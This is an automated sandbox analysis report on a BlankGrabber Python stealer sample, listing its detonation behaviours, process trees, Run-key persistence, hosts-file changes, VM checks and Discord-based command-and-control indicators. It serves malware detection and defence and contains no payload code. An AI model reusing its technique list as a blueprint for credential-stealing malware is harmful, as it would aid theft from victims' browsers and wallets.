Malware Analysis Report

2024-10-16 07:22

Sample ID 240626-zc5xeasdjd
Target be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.zip
SHA256 90e77c78704fabb2878871e117d94c3109721d9703b85c0d24c2ea0ae2469996
Tags
blankgrabber upx defense_evasion evasion execution persistence privilege_escalation spyware stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

90e77c78704fabb2878871e117d94c3109721d9703b85c0d24c2ea0ae2469996

Threat Level: Known bad

The file be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.zip was found to be: Known bad.

Malicious Activity Summary

blankgrabber upx defense_evasion evasion execution persistence privilege_escalation spyware stealer

A stealer written in Python and packaged with Pyinstaller

Blankgrabber family

Enumerates VirtualBox DLL files

Drops file in Drivers directory

Command and Scripting Interpreter: PowerShell

Sets file to hidden

Command and Scripting Interpreter: PowerShell

Executes dropped EXE

Reads user/profile data of web browsers

UPX packed file

Loads dropped DLL

Legitimate hosting services abused for malware hosting/C2

Accesses cryptocurrency files/wallets, possible credential harvesting

Looks up external IP address via web service

Adds Run key to start application

Hide Artifacts: Hidden Files and Directories

Event Triggered Execution: Netsh Helper DLL

Enumerates physical storage devices

Gathers system information

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

Detects videocard installed

Suspicious behavior: EnumeratesProcesses

Suspicious behavior: GetForegroundWindowSpam

Runs ping.exe

Suspicious use of AdjustPrivilegeToken

Enumerates processes with tasklist

Kills process with taskkill

Views/modifies file attributes

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-26 20:35

Signatures

A stealer written in Python and packaged with Pyinstaller

Description Indicator Process Target
N/A N/A N/A N/A

Blankgrabber family

blankgrabber

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-26 20:35

Reported

2024-06-26 20:38

Platform

win7-20240508-en

Max time kernel

117s

Max time network

123s

Command Line

"C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe"

Signatures

Processes

C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe

"C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe"

C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe

"C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe"

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\_MEI22242\python311.dll

MD5 9e985651962ccbccdf5220f6617b444f
SHA1 9238853fe1cff8a49c2c801644d6aa57ed1fe4d2
SHA256 3373ee171db8898c83711ec5067895426421c44f1be29af96efe00c48555472e
SHA512 8b8e68bbe71dcd928dbe380fe1a839538e7b8747733ba2fd3d421ba8d280a11ba111b7e8322c14214d5986af9c52ab0c75288bbb2a8b55612fb45836c56ddc36

memory/3032-24-0x000007FEF63B0000-0x000007FEF6999000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-26 20:35

Reported

2024-06-26 20:38

Platform

win10v2004-20240508-en

Max time kernel

117s

Max time network

115s

Command Line

"C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe"

Signatures

Enumerates VirtualBox DLL files

Description Indicator Process Target
File opened (read-only) C:\windows\system32\vboxhook.dll C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
File opened (read-only) C:\windows\system32\vboxmrxnp.dll C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
File opened (read-only) C:\windows\system32\vboxhook.dll C:\Users\Admin\Local\wsappx.exe N/A
File opened (read-only) C:\windows\system32\vboxmrxnp.dll C:\Users\Admin\Local\wsappx.exe N/A

Drops file in Drivers directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Windows\system32\attrib.exe N/A
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe N/A
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Windows\system32\attrib.exe N/A

Sets file to hidden

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\attrib.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A

Reads user/profile data of web browsers

spyware stealer

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Users\\Admin\\Local\\wsappx.exe" C:\Users\Admin\AppData\Local\Temp\bound.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A
N/A ip-api.com N/A N/A

Hide Artifacts: Hidden Files and Directories

defense_evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\cmd.exe N/A

Enumerates physical storage devices

Event Triggered Execution: Netsh Helper DLL

persistence privilege_escalation
Description Indicator Process Target
Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A

Detects videocard installed

Description Indicator Process Target
N/A N/A C:\Windows\System32\Wbem\WMIC.exe N/A
N/A N/A C:\Windows\System32\Wbem\WMIC.exe N/A
N/A N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Enumerates processes with tasklist

Description Indicator Process Target
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A

Gathers system information

Description Indicator Process Target
N/A N/A C:\Windows\system32\systeminfo.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 216 wrote to memory of 4572 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe
PID 216 wrote to memory of 4572 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe
PID 4572 wrote to memory of 4168 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 4572 wrote to memory of 4168 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 4572 wrote to memory of 4992 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 4572 wrote to memory of 4992 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 4168 wrote to memory of 680 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4168 wrote to memory of 680 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4992 wrote to memory of 3108 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4992 wrote to memory of 3108 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4572 wrote to memory of 448 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 4572 wrote to memory of 448 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 4572 wrote to memory of 2140 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 4572 wrote to memory of 2140 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 4572 wrote to memory of 5092 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 4572 wrote to memory of 5092 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 4572 wrote to memory of 32 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 4572 wrote to memory of 32 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 4572 wrote to memory of 3604 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 4572 wrote to memory of 3604 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 448 wrote to memory of 2288 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 448 wrote to memory of 2288 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 3604 wrote to memory of 3124 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 3604 wrote to memory of 3124 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 5092 wrote to memory of 1632 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mshta.exe
PID 5092 wrote to memory of 1632 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mshta.exe
PID 32 wrote to memory of 3656 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 32 wrote to memory of 3656 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
